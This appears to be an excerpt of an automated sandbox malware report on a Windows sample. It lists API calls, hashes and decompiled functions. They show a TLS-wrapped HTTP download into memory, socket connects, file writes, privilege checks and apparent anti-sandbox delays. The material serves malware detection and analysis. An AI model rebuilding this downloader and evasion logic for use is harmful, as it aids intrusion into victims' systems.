htons.WSOCK32(?,00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?,00000004,?,?), ref: 0040281B
ioctlsocket.WSOCK32(?,8004667E,?,?,00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?), ref: 00402843
connect.WSOCK32(?,?,00000010,?,8004667E,?,?,00000000,00000000,?,00000002,?,?,000000FF,?,?), ref: 00402851
select.WSOCK32(00000000,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,00000010,?,8004667E,?), ref: 00402877
ioctlsocket.WSOCK32(?,8004667E,?,00000000,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,00000010), ref: 0040289A

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: ioctlsocket$connecthtonsinet_addrinet_ntoaselectsetsockoptsocket
String ID:
API String ID: 983927830-0
Opcode ID: 0c17bba96f937ce885c5b7511bcf90411d8c1719d1bacf2ff94e2e5573756d33
Instruction ID: a2fbdf31c0014d020e322edf825d3b0370b6f4014994f73e4852958e84d483f6
Opcode Fuzzy Hash: 0c17bba96f937ce885c5b7511bcf90411d8c1719d1bacf2ff94e2e5573756d33
Instruction Fuzzy Hash: 9E315071D0020CBADF10EBA1CD46FDE777DAF04314F004466F605B61D1D7B9AA649B69

Uniqueness

Uniqueness Score: -1.00%

Function 00412B66 Relevance: 13.5, APIs: 9, Instructions: 49librarypipeCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,0041400C,0041302A), ref: 00412B76
GetNamedPipeHandleStateW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412B83
DuplicateHandle.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412B90
AddRefActCtx.KERNEL32(00000000), ref: 00412B97
ActivateActCtx.KERNEL32(00000000,00000000), ref: 00412B9F
WritePrivateProfileStructW.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00412BAA
SetFileApisToOEM.KERNEL32 ref: 00412BB0
TlsGetValue.KERNEL32(00000000), ref: 00412BB7
CompareStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412BC3

Memory Dump Source

Source File: 00000000.00000002.244956693.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_p9CvI6kq7d.jbxd

Similarity

API ID: Handle$ActivateApisCompareDuplicateFileLibraryLoadNamedPipePrivateProfileStateStringStructValueWrite
String ID:
API String ID: 3492477940-0
Opcode ID: f597ca519d29c27e0628131cc0eed75a6167057b7345dd2de09fb72d8d9bc977
Instruction ID: a53385f50ff9c65cf719462552c4f15090d34ad7fbeb200d28de157dd7458512
Opcode Fuzzy Hash: f597ca519d29c27e0628131cc0eed75a6167057b7345dd2de09fb72d8d9bc977
Instruction Fuzzy Hash: F1F07A36006861AB83116F66ED0C9CE3F78BF9E3567018175F75682121CB285646CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 00402FB6 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 213
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00402FB6(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				intOrPtr _v12;
				char _v16;
				long _v60;
				char _v64;
				intOrPtr _v108;
				void** _v112;
				intOrPtr _v116;
				void* _v120;
				void* _v124;
				intOrPtr _v128;
				void* _v132;
				char* _v136;
				intOrPtr _v140;
				void* _v144;
				void* _v148;
				void* _v152;
				void* _v156;
				char _v160;
				intOrPtr _v164;
				char _v168;
				char _v172;
				void* _v176;
				void* _v180;
				void* _v188;
				long* _t102;
				void* _t113;
				void* _t117;
				void** _t131;
				void* _t146;

				E004066D2( &_v188,  &_v16 - _t146);
				E004066D2(_a12, 8);
				E004066D2(_a16, 8);
				_v60 = 4;
				_v12 = 0x18;
				_push(0);
				_push(_a16);
				_push(0);
				_push(0);
				_t102 =  &_v60;
				_push(_t102);
				_push(0);
				_push(2);
				_push("Microsoft Unified Security Protocol Provider");
				_push(0);
				L004071C6();
				_t148 = _t102;
				if(_t102 != 0 || E00402765(__edx, _t148,  &_v64, _a4, _a8, 0xa) == 0) {
					L28:
					__eflags = 0;
					return 0;
				} else {
					E0040664B( &_v64, _a20, 4);
					_v108 = 0xc11c;
					_v132 = 0;
					_v128 = 2;
					_v124 = 0;
					_v120 = 0;
					_v116 = 1;
					_v112 =  &_v132;
					_push(0);
					_push( &_v172);
					_push( &_v120);
					_push(_a12);
					_push(0);
					_push(0);
					_push(0x10);
					_push(0);
					_push(_v108);
					_push(_a4);
					_push(0);
					_push(_a16);
					L004071FC();
					if(_v132 == 0 || _v124 == 0) {
						goto L28;
					} else {
						E004062FA(_v64, _v124, _v132, 0);
						_push(_v124);
						L004071DE();
						_t113 = VirtualAlloc(0, 0x8000, 0x3000, 4);
						if(_t113 == 0) {
							goto L28;
						}
						_v176 = _t113;
						_v188 = 0x90312;
						_v180 = 0;
						while(_v188 == 0x90312 || _v188 == 0x80090318 || _v188 == 0x90320) {
							__eflags = _v180;
							if(__eflags == 0) {
								L8:
								_t117 = E004063CD(__eflags, _v64, _v176 + _v180, 0x8000 - _v180, 0xa);
								__eflags = _t117;
								if(_t117 == 0) {
									break;
								}
								__eflags = _t117;
								if(_t117 < 0) {
									break;
								}
								_t43 =  &_v180;
								 *_t43 = _v180 + _t117;
								__eflags =  *_t43;
								L11:
								_v132 = 0;
								_v128 = 2;
								_v124 = 0;
								_v120 = 0;
								_v116 = 1;
								_v112 =  &_v132;
								E0040664B( &_v180,  &_v168, 4);
								_v164 = 2;
								E0040664B( &_v176,  &_v160, 4);
								_v156 = 0;
								_v152 = 0;
								_v148 = 0;
								_v144 = 0;
								_v140 = 2;
								_v136 =  &_v168;
								_push(0);
								_push( &_v172);
								_push( &_v120);
								_push(0);
								_push(0);
								_t131 =  &_v144;
								_push(_t131);
								_push(0x10);
								_push(0);
								_push(_v108);
								_push(0);
								_push(_a12);
								_push(_a16);
								L004071FC();
								_v188 = _t131;
								__eflags = _v188 - 0x80090318;
								if(_v188 == 0x80090318) {
									continue;
								}
								__eflags = _v188;
								if(_v188 < 0) {
									break;
								}
								__eflags = _v188;
								if(_v188 == 0) {
									L17:
									E004062FA(_v64, _v124, _v132, 0);
									_push(_v124);
									L004071DE();
									L18:
									__eflags = _v188 - 0x90320;
									if(_v188 != 0x90320) {
										__eflags = _v152 - 5;
										if(_v152 != 5) {
											_v180 = 0;
										} else {
											E0040664B( &_v156,  &_v180, 4);
											E0040664B(_v176 + _v180 - _v156, _v176, _v156);
											_v188 = 0x90312;
										}
										continue;
									}
									break;
								}
								__eflags = _v188 - 0x90312;
								if(_v188 != 0x90312) {
									goto L18;
								}
								__eflags = _v132;
								if(_v132 == 0) {
									goto L18;
								}
								__eflags = _v124;
								if(_v124 == 0) {
									goto L18;
								}
								goto L17;
							}
							__eflags = _v188 - 0x80090318;
							if(__eflags != 0) {
								goto L11;
							}
							goto L8;
						}
						E004048E1( &_v176);
						if(_v188 != 0) {
							goto L28;
						}
						return _v64;
					}
				}
			}

0x00402fcd
0x00402fd7
0x00402fe1
0x00402fe6
0x00402fed
0x00402ff4
0x00402ff6
0x00402ff9
0x00402ffb
0x00402ffd
0x00403000
0x00403001
0x00403003
0x00403005
0x0040300a
0x0040300c
0x00403011
0x00403013
0x00403325
0x00403325
0x00000000
0x00403032
0x0040303b
0x00403040
0x00403047
0x0040304e
0x00403055
0x0040305c
0x00403063
0x0040306d
0x00403070
0x00403078
0x0040307c
0x0040307d
0x00403080
0x00403082
0x00403084
0x00403086
0x00403088
0x0040308b
0x0040308e
0x00403090
0x00403093
0x0040309c
0x00000000
0x004030ac
0x004030b7
0x004030bc
0x004030bf
0x004030d2
0x004030d9
0x00000000
0x00000000
0x004030df
0x004030e5
0x004030ef
0x004032db
0x004030fe
0x00403105
0x00403113
0x00403136
0x00403136
0x00403138
0x00000000
0x00000000
0x0040313e
0x00403141
0x00000000
0x00000000
0x00403147
0x00403147
0x00403147
0x0040314d
0x0040314d
0x00403154
0x0040315b
0x00403162
0x00403169
0x00403173
0x00403186
0x0040318b
0x004031a5
0x004031aa
0x004031b4
0x004031be
0x004031c8
0x004031d2
0x004031e2
0x004031e8
0x004031f0
0x004031f4
0x004031f5
0x004031f7
0x004031f9
0x004031ff
0x00403200
0x00403202
0x00403204
0x00403207
0x00403209
0x0040320c
0x0040320f
0x00403214
0x0040321a
0x00403224
0x00000000
0x00000000
0x0040322a
0x00403231
0x00000000
0x00000000
0x00403237
0x0040323e
0x00403258
0x00403263
0x00403268
0x0040326b
0x00403270
0x00403270
0x0040327a
0x00403281
0x00403288
0x004032d1
0x0040328a
0x004032a0
0x004032c0
0x004032c5
0x004032c5
0x00000000
0x00403288
0x00000000
0x0040327c
0x00403240
0x0040324a
0x00000000
0x00000000
0x0040324c
0x00403250
0x00000000
0x00000000
0x00403252
0x00403256
0x00000000
0x00000000
0x00000000
0x00403256
0x00403107
0x00403111
0x00000000
0x00000000
0x00000000
0x00403111
0x00403312
0x0040331e
0x00000000
0x00000000
0x00000000
0x00403320
0x0040309c

APIs

AcquireCredentialsHandleA.SECUR32(00000000,Microsoft Unified Security Protocol Provider,00000002,00000000,?,00000000,00000000,?,00000000,?,00000008,?,00000008,?,?,?), ref: 0040300C

Part of subcall function 00402765: socket.WSOCK32(00000002,00000001,00000006,?,?,?,?,00000003), ref: 00402787
Part of subcall function 00402765: setsockopt.WSOCK32(?,00000006,00000001,?,00000004,?,?,00000004,00000002,00000001,00000006,?,?,?,?,00000003), ref: 004027B7
Part of subcall function 00402765: inet_addr.WSOCK32(00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?,00000004,?,?,00000004), ref: 004027FA
Part of subcall function 00402765: htons.WSOCK32(?,00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?,00000004,?,?), ref: 0040281B
Part of subcall function 00402765: ioctlsocket.WSOCK32(?,8004667E,?,?,00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?), ref: 00402843
Part of subcall function 00402765: connect.WSOCK32(?,?,00000010,?,8004667E,?,?,00000000,00000000,?,00000002,?,?,000000FF,?,?), ref: 00402851
Part of subcall function 00402765: select.WSOCK32(00000000,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,00000010,?,8004667E,?), ref: 00402877
Part of subcall function 00402765: ioctlsocket.WSOCK32(?,8004667E,?,00000000,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,00000010), ref: 0040289A

InitializeSecurityContextA.SECUR32(?,00000000,?,?,00000000,00000010,00000000,00000000,?,?,?,00000000,?,?,00000004,?), ref: 00403093

Part of subcall function 004062FA: WaitForSingleObject.KERNEL32(?,000000FF,?,?,?), ref: 00406315
Part of subcall function 004062FA: SetEvent.KERNEL32(?,00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?), ref: 00406372

FreeContextBuffer.SECUR32(?,?,?,?,00000000,?,00000000,?,?,00000000,00000010,00000000,00000000,?,?,?), ref: 004030BF
VirtualAlloc.KERNEL32(00000000,00008000,00003000,00000004,?,?,?,?,00000000,?,00000000,?,?,00000000,00000010,00000000), ref: 004030D2
InitializeSecurityContextA.SECUR32(?,?,00000000,?,00000000,00000010,?,00000000,00000000,?,?,00000000,?,?,00000004,?), ref: 0040320F
FreeContextBuffer.SECUR32(?,?,?,?,00000000,?,?,00000000,?,00000000,00000010,?,00000000,00000000,?,?), ref: 0040326B

Strings

Microsoft Unified Security Protocol Provider, xrefs: 00403005

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: Context$BufferFreeInitializeSecurityioctlsocket$AcquireAllocCredentialsEventHandleObjectSingleVirtualWaitconnecthtonsinet_addrselectsetsockoptsocket
String ID: Microsoft Unified Security Protocol Provider
API String ID: 1399349435-238809041
Opcode ID: 23d93bd7d967eb9a447ef5fd7391a6175ae88e46989c31b957aeb1f1387d6edc
Instruction ID: 73b563d7eface8bbf42f3218d9b3bcff62042970f8dc2876ab0d2a73f05d3314
Opcode Fuzzy Hash: 23d93bd7d967eb9a447ef5fd7391a6175ae88e46989c31b957aeb1f1387d6edc
Instruction Fuzzy Hash: F8914E7190431CAEEF60DF90CC85BDEBA79BB04309F1040AAF609761D1CBB95A98DF56

Uniqueness

Uniqueness Score: -1.00%

Function 00671311 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

EnumWindows.USER32(00405DB5,00000000), ref: 0067132B
Sleep.KERNEL32(00002710,00405DB5,00000000), ref: 00671335
GetFirmwareEnvironmentVariableExW.KERNEL32 ref: 0067133A

Part of subcall function 00676431: LocalFree.KERNEL32(?,?,00000019,?,?,?,00000000,?,00000000,00000008,?,?,?,00000003), ref: 0067648D
Part of subcall function 00676431: LocalAlloc.KERNEL32(00000000,?,?,?,00000019,?,?,?,00000000,?,00000000,00000008,?,?,?,00000003), ref: 00676497
Part of subcall function 00676431: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,?,?,00000019,?,?,?,00000000,?,00000000), ref: 006764AE
Part of subcall function 00676431: GetSidSubAuthority.ADVAPI32(?,00000000,?,TokenIntegrityLevel,?,?,?,00000000,?,?,?,00000019,?,?,?,00000000), ref: 006764BE
Part of subcall function 00676431: LocalFree.KERNEL32(?,00000000,?,00000004,?,00000000,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 006764D6
Part of subcall function 00676431: CloseHandle.KERNEL32(?,?,?,00000019,?,?,?,00000000,?,00000000,00000008,?,?,?,00000003), ref: 006764DE

GetModuleFileNameA.KERNEL32(00000000,?,00000100,00002710,00405DB5,00000000), ref: 00671362
Sleep.KERNEL32(0000EA60), ref: 006713AE
ExitProcess.KERNEL32(00000000,orvsmwx), ref: 00677237

Part of subcall function 00674B5E: Sleep.KERNEL32(00002710,?), ref: 00674B7C
Part of subcall function 00674B5E: Sleep.KERNEL32(0002BF20,00000000,?,00409080,0000000A,?,?,00409076,000000FF,?), ref: 00674C59

Strings

orvsmwx, xrefs: 00671367, 0067139F

Memory Dump Source

Source File: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: Sleep$Local$Free$AllocAuthorityCloseEnumEnvironmentExitFileFirmwareHandleInformationModuleNameProcessTokenVariableWindows
String ID: orvsmwx
API String ID: 3750572613-3620674537
Opcode ID: aa88cbd92d9dea9d6ec841a6b2bc50ab1e7ef0ee5f88250e0c44f59f496491d5
Instruction ID: a79b5ec65ebdd533317e74cd3b9b6e9cca1a5210eaf334005f9b1a479f10568d
Opcode Fuzzy Hash: aa88cbd92d9dea9d6ec841a6b2bc50ab1e7ef0ee5f88250e0c44f59f496491d5
Instruction Fuzzy Hash: 94018B3078821475EB61B7B08C47FE9625FAF04B00F5484AAB72DBD0C7D9F45B414A6E

Uniqueness

Uniqueness Score: -1.00%

Function 006729B5 Relevance: 9.1, APIs: 6, Instructions: 103networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 00672A4A
htons.WS2_32(00000000), ref: 00672A6B
ioctlsocket.WS2_32(?,8004667E,?), ref: 00672A93
connect.WS2_32(?,?,00000010), ref: 00672AA1
select.WS2_32(00000000,00000000,?,00000000,?), ref: 00672AC7
ioctlsocket.WS2_32(?,8004667E,?), ref: 00672AEA

Memory Dump Source

Source File: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: ioctlsocket$connecthtonsinet_addrselect
String ID:
API String ID: 2081129316-0
Opcode ID: 4473d6015e8577f6f6d9069912228f8aac79e066969601dc77cbaef7e280ae69
Instruction ID: f7b8bc8b5927c14be524f40f62ef63eedf9f670ae03748c511ec724e1daab2a6
Opcode Fuzzy Hash: 4473d6015e8577f6f6d9069912228f8aac79e066969601dc77cbaef7e280ae69
Instruction Fuzzy Hash: 86310C7190021DBADF60EBA0CC46FDE777EAB08314F108499F608B6191E7B19A549B69

Uniqueness

Uniqueness Score: -1.00%

Function 00676431 Relevance: 9.1, APIs: 6, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(?,?,00000019,?,?,?,00000000,?,00000000,00000008,?,?,?,00000003), ref: 0067648D
LocalAlloc.KERNEL32(00000000,?,?,?,00000019,?,?,?,00000000,?,00000000,00000008,?,?,?,00000003), ref: 00676497
GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,?,?,00000019,?,?,?,00000000,?,00000000), ref: 006764AE
GetSidSubAuthority.ADVAPI32(?,00000000,?,TokenIntegrityLevel,?,?,?,00000000,?,?,?,00000019,?,?,?,00000000), ref: 006764BE
LocalFree.KERNEL32(?,00000000,?,00000004,?,00000000,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 006764D6
CloseHandle.KERNEL32(?,?,?,00000019,?,?,?,00000000,?,00000000,00000008,?,?,?,00000003), ref: 006764DE

Memory Dump Source

Source File: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocAuthorityCloseHandleInformationToken
String ID:
API String ID: 1586583212-0
Opcode ID: 28e19afb72b878737e7b87120f99f08cca91ff0df2a44fe410a1d31da2b3ae9b
Instruction ID: 3e5da68fbf6bf20b6876791d1646703f5c6bc6c66166156cfa73f69b97bda946
Opcode Fuzzy Hash: 28e19afb72b878737e7b87120f99f08cca91ff0df2a44fe410a1d31da2b3ae9b
Instruction Fuzzy Hash: 78117F31D04209BADF41EBE0CC02FEFB7BABF04310F10C869B628B5191DB714A10AB64

Uniqueness

Uniqueness Score: -1.00%

Function 00675A82 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 241timeCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00675AB6

Part of subcall function 00676431: LocalFree.KERNEL32(?,?,00000019,?,?,?,00000000,?,00000000,00000008,?,?,?,00000003), ref: 0067648D
Part of subcall function 00676431: LocalAlloc.KERNEL32(00000000,?,?,?,00000019,?,?,?,00000000,?,00000000,00000008,?,?,?,00000003), ref: 00676497
Part of subcall function 00676431: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,?,?,00000019,?,?,?,00000000,?,00000000), ref: 006764AE
Part of subcall function 00676431: GetSidSubAuthority.ADVAPI32(?,00000000,?,TokenIntegrityLevel,?,?,?,00000000,?,?,?,00000019,?,?,?,00000000), ref: 006764BE
Part of subcall function 00676431: LocalFree.KERNEL32(?,00000000,?,00000004,?,00000000,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 006764D6
Part of subcall function 00676431: CloseHandle.KERNEL32(?,?,?,00000019,?,?,?,00000000,?,00000000,00000008,?,?,?,00000003), ref: 006764DE

GetLocalTime.KERNEL32(?,?,00000030,?,006757BD,?,00000014,?,00000000,00000001,00000000,00000018,?,?,?,00000002), ref: 00675C4B
SystemTimeToFileTime.KERNEL32(?,?,?,?,00000030,?,006757BD,?,00000014,?,00000000,00000001,00000000,00000018,?,?), ref: 00675C5E
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,00000030,?,006757BD,?,00000014,?,00000000,00000001,00000000,00000018), ref: 00675C8F

Strings

0, xrefs: 00675CBF

Memory Dump Source

Source File: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: Time$Local$FileFreeSystem$AllocAuthorityCloseHandleInformationInitializeToken
String ID: 0
API String ID: 1744783010-4108050209
Opcode ID: f1aa835b88c44718de5cf4fd25f262d079a8a8df514dda1fa84e69f066ad5f49
Instruction ID: a812530c94e380d9d7bf00aea76909a8d43f2fde4d6232719780ef778aaacdc4
Opcode Fuzzy Hash: f1aa835b88c44718de5cf4fd25f262d079a8a8df514dda1fa84e69f066ad5f49
Instruction Fuzzy Hash: EEA1F6B5900618AFDB50EB94CC85FDAB3BDAF48304F1080DAF609E7251D675AE85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00406AA4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406AA4(CHAR* _a4, void* _a8, long _a12, long _a16, long _a20) {
				void* _v8;
				long _v12;
				intOrPtr _v16;
				void* _t16;

				_v16 = 0x64;
				while(1) {
					_t16 = CreateFileA(_a4, 0x40000000, 0, 0, _a16, 0x80, 0);
					_v8 = _t16;
					if(_t16 != 0xffffffff || _v16 == 0) {
						break;
					}
					_v16 = _v16 - 1;
				}
				if(_v8 != 0xffffffff) {
					SetFilePointer(_v8, 0, 0, _a20);
					WriteFile(_v8, _a8, _a12,  &_v12, 0);
					return CloseHandle(_v8);
				}
				return _t16;
			}

0x00406aad
0x00406ab4
0x00406aca
0x00406acf
0x00406ad5
0x00000000
0x00000000
0x00406add
0x00406add
0x00406ae6
0x00406af2
0x00406b06
0x00000000
0x00406b0e
0x00406b17

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,?,00000080,00000000,?,?,00000003), ref: 00406ACA
SetFilePointer.KERNEL32(?,00000000,00000000,?,?,40000000,00000000,00000000,?,00000080,00000000,?,?,00000003), ref: 00406AF2
WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,00000000,?,?,40000000,00000000,00000000,?,00000080,00000000), ref: 00406B06
CloseHandle.KERNEL32(?,?,?,?,?,00000000,?,00000000,00000000,?,?,40000000,00000000,00000000,?,00000080), ref: 00406B0E

Strings

d, xrefs: 00406AAD

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID: d
API String ID: 3604237281-2564639436
Opcode ID: 9e4065064044173d6686801a2ec659f311412e239a977e04973cd8e75cfc1167
Instruction ID: ed086ded89d8a7c819e13077a811e8215b340b8a3de052a5363287cb167353cf
Opcode Fuzzy Hash: 9e4065064044173d6686801a2ec659f311412e239a977e04973cd8e75cfc1167
Instruction Fuzzy Hash: 9D014F31A40208FADF219F95CC02FCE7779AB01728F208266B621781E1D7756A60EB59

Uniqueness

Uniqueness Score: -1.00%

Function 00402BA7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132
memoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00402BA7(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				char _v16;
				char _v28;
				char _v1052;
				char _v1056;
				long _v1060;
				char _v1068;
				char _v1076;
				char _v1080;
				void* _t50;
				void* _t60;
				char* _t72;
				void* _t75;
				long _t82;
				char _t86;
				intOrPtr* _t87;
				void* _t88;
				void* _t90;

				_t90 = __eflags;
				E004066D2( &_v1080,  &_v16 - _t88);
				E004048E1(_a16);
				_t50 = E00402FB6(__edx, _t90, _a4, _a8,  &_v1068,  &_v1076,  &_v8);
				_t91 = _t50;
				if(_t50 != 0) {
					E00404484(_t91, _v8,  &_v1052, wsprintfA( &_v1052, "GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0\r\nConnection: close\r\n\r\n", _a12, _a4), 0,  &_v1068);
					while(1) {
						E00406698(_v8, 0,  &_v28, 0xa, 0);
						_push( &_v16);
						_push(0);
						_push(0);
						_t72 =  &_v28;
						_push(_t72);
						_push(0);
						L0040717E();
						_t92 = _t72;
						if(_t72 <= 0) {
							goto L5;
						}
						_t75 = E004045B9(_t92, _v8,  &_v1080,  &_v1068);
						if(_t75 > 0) {
							_v1060 = _v1060 + _t75;
							E00404842( &_v1056, _v1060, _v1080, _t75);
							E004048E1( &_v1080);
							continue;
						}
						goto L5;
					}
				}
				L5:
				E00406474( &_v1068,  &_v1076, _v8);
				__eflags = _v1060;
				if(_v1060 == 0) {
					L13:
					E004048E1( &_v1056);
					_v1060 = 0;
				} else {
					_t87 = _v1056;
					_t82 = _v1060;
					while(1) {
						__eflags = _t82 - 4;
						if(_t82 < 4) {
							goto L13;
						}
						__eflags =  *_t87 - 0xa0d0a0d;
						if( *_t87 != 0xa0d0a0d) {
							L11:
							_t87 = _t87 + 1;
							_t82 = _t82 - 1;
							__eflags = _t82;
							continue;
						} else {
							_t82 = _t82 - 4;
							_t87 = _t87 + 4;
							__eflags = _t82;
							if(_t82 <= 0) {
								goto L11;
							} else {
								_v1060 = _t82;
								_t60 = VirtualAlloc(0, _v1060, 0x3000, 4);
								__eflags = _t60;
								if(_t60 == 0) {
									goto L13;
								} else {
									_t86 = _t60;
									E0040664B(_t87, _t86, _v1060);
									E004048E1( &_v1056);
									_v1056 = _t86;
								}
							}
						}
						goto L14;
					}
					goto L13;
				}
				L14:
				E0040664B( &_v1056, _a16, 4);
				return _v1060;
			}

0x00402ba7
0x00402bbe
0x00402bc6
0x00402be3
0x00402be8
0x00402bea
0x00402c20
0x00402c25
0x00402c32
0x00402c3a
0x00402c3b
0x00402c3d
0x00402c3f
0x00402c42
0x00402c43
0x00402c45
0x00402c4a
0x00402c4c
0x00000000
0x00000000
0x00402c5f
0x00402c66
0x00402c6e
0x00402c83
0x00402c8f
0x00000000
0x00402c8f
0x00000000
0x00402c66
0x00402c25
0x00402c96
0x00402ca7
0x00402cac
0x00402cb3
0x00402d1e
0x00402d25
0x00402d2a
0x00402cb5
0x00402cb5
0x00402cbb
0x00402d19
0x00402d19
0x00402d1c
0x00000000
0x00000000
0x00402cc3
0x00402cc9
0x00402d17
0x00402d17
0x00402d18
0x00402d18
0x00000000
0x00402ccb
0x00402ccb
0x00402cce
0x00402cd1
0x00402cd4
0x00000000
0x00402cd6
0x00402cd6
0x00402cf0
0x00402cf0
0x00402cf2
0x00000000
0x00402cf4
0x00402cf4
0x00402cfe
0x00402d0a
0x00402d0f
0x00402d0f
0x00402cf2
0x00402cd4
0x00000000
0x00402cc9
0x00000000
0x00402d19
0x00402d34
0x00402d40
0x00402d4f

APIs

Part of subcall function 004048E1: VirtualFree.KERNEL32(?,00000000,00008000,?,?,000000C7,?,00405802,?,?,?,?,?,?,00000000,00000006), ref: 004048F8

Part of subcall function 00402FB6: AcquireCredentialsHandleA.SECUR32(00000000,Microsoft Unified Security Protocol Provider,00000002,00000000,?,00000000,00000000,?,00000000,?,00000008,?,00000008,?,?,?), ref: 0040300C
Part of subcall function 00402FB6: InitializeSecurityContextA.SECUR32(?,00000000,?,?,00000000,00000010,00000000,00000000,?,?,?,00000000,?,?,00000004,?), ref: 00403093
Part of subcall function 00402FB6: FreeContextBuffer.SECUR32(?,?,?,?,00000000,?,00000000,?,?,00000000,00000010,00000000,00000000,?,?,?), ref: 004030BF
Part of subcall function 00402FB6: VirtualAlloc.KERNEL32(00000000,00008000,00003000,00000004,?,?,?,?,00000000,?,00000000,?,?,00000000,00000010,00000000), ref: 004030D2

wsprintfA.USER32 ref: 00402C02
select.WSOCK32(00000000,?,00000000,00000000,?,?,00000000,?,0000000A,00000000,?,?,00000000,00000000,?), ref: 00402C45
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00402CEB

Part of subcall function 004045B9: VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,00000004,?,?,?,?,?), ref: 004045F2
Part of subcall function 004045B9: DecryptMessage.SECUR32(?,?,00000000,00000000,?,?,00000004,?,?,00000004,?,?,?,00000000,00000000,?), ref: 004046DB

Strings

GET %s HTTP/1.0Host: %sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close, xrefs: 00402BF6

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: Virtual$Alloc$ContextFree$AcquireBufferCredentialsDecryptHandleInitializeMessageSecurityselectwsprintf
String ID: GET %s HTTP/1.0Host: %sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
API String ID: 3270067178-3041754183
Opcode ID: c95945b4ea4b892c9ccea1685e0d4e81c8f7c73a01b14d1460add4aded233223
Instruction ID: 697e2958990b10f9deb7ce1736b938772ac7a4ddc3f0d0008d2bd1d4b0e5c5f2
